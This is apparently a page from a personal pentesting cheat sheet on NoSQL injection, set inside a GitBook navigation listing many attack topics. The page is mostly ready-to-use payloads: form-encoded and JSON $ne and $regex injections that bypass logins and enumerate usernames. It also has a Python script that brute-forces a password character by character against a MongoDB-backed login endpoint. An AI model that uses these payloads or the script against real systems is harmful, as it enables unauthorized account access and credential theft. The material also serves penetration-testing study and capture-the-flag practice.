Pentest
TryhackmeHackthebox
  • 🐧Linux
    • Lateral Movement
    • PrivilageEsc Linux 👑
  • 🪟Windows
    • Lateral Movement
    • PrivilageEsc Windows 👑
    • Active Directory / SMB
  • ☁️Cloud
    • AWS
    • Docker
    • Azure AD
    • Kubernetes
  • 🛠️Tools
    • File Transfers
    • Shells / Payloads
    • Pivoting / Forwarding
    • Network Enumeration
    • Cracking / Fuzzing / Brute-force
  • 🚐TCP
    • 21 ) FTP
    • 22 ) SSH
    • 25 ) SMTP
    • 53 ) DNS
    • 79 ) Finger
    • 110 ) POP3
    • 143, 993 ) IMAP
    • 389 ) LDAP
    • 443 ) HTTPS
    • 2049 /111 ) NFS /RPC
    • 3128 ) Squid Proxy
    • 3690 ) Subversion
    • 6379 ) Redis
    • 9200 ) Elasticsearch
    • 11211 ) Memcached
    • 24007 & 49152) Gluster
  • 🚎UDP
    • 69 ) TFTP
    • 161 ) SNMP
    • 500, 4500 ) IPsec IKE
    • 623) IPMI
  • 🔟OWASP 10
    • SQLi
    • NoSQLi
    • LFI / XXE
    • Command Injection
    • XSS / HTMLi / (S/C)SRF / SSTI
  • 📚Database
    • Oracle SQL | 1521
    • MSSQL / MYSQL / PSQL
  • 🔗Binary Exploitation
    • Linux
    • Windows
  • 👨‍🚒Red team
    • Reconnaissance
    • Initial Access
    • Persistence Techniques
    • AV Evasion Techniques
  • 🐰Bug Bounty
    • Search Engine
    • Index.html
  • ⌚Links
    • Passwords 1
    • Default Passwords
    • Default passwords 2
  • 🔄Other
    • Git
    • HackerGPT
    • Curl
    • Hints!!
    • Log4j
    • Mobile Sec
    • BookMarks
    • Steganography
    • CMS / Servers / Others
    • Deserialization
    • Tryhackme
  • 🤖Mobile Android Pentest
    • Mobile Sec
    • Drozer
  • Group 1
    • 📦HackTheBox — Writeups
      • 🏴‍☠️HTB - Devvortex
Powered by GitBook
On this page
  1. OWASP 10

NoSQLi

  • PHP

##-----| Content-Type: application/x-www-form-urlencoded
admin'||'1==1
username[$ne]=admin&password[$ne]=pass

# With regex; increase x++
## Count username's character
username[$regex]=^.{x}$&password[$ne]=pass
## Bruteforce username; change x to a,b,c,d...
username[$regex]=^{x}.*&password[$ne]=pass
  • Node / MongoDB

##-----| Content-Type: application/json

{

    "user" :  "admin",

    "password" : { "$ne" : "passw"}

}

{
    "username" : { "$ne" : "admin"},
    "password" : { "$ne" : "passw"}
}

{
    "user" :  "admin",
    "password" : { "$regex" : ".*"}
}
  • Bruteforce login password

import sys
import json
import string
import requests as req

proxies = { 'http': 'http://127.0.0.1:8080' }
url = "http://10.10.11.139:5000/login"
par_user = "user"
par_user_value = "admin"
par_pass = "password"
fail_respond = "Invalid"

def login(passwd):
    payload = '{ "$regex": "%s" }' % passwd
    data = { par_user:par_user_value, par_pass: json.loads(payload)}
    request = req.post(url,json=data)  #, proxies=proxies)
    if fail_respond in request.text:
        return False
    return True

passwd = '^'
finished = False
string = string.ascii_letters + string.digits + string.punctuation
while finished == False:
    for i in string:
        sys.stdout.write(f"\r{passwd}{i}")
        if login(f"{passwd}{i}"):
            passwd += i
            if login(f"{passwd}$"):
                print ("\r\n\nPassword is : "+ passwd[1:])
                finished = True
                break
            break
PreviousSQLiNextLFI / XXE

Last updated 2 years ago

🔟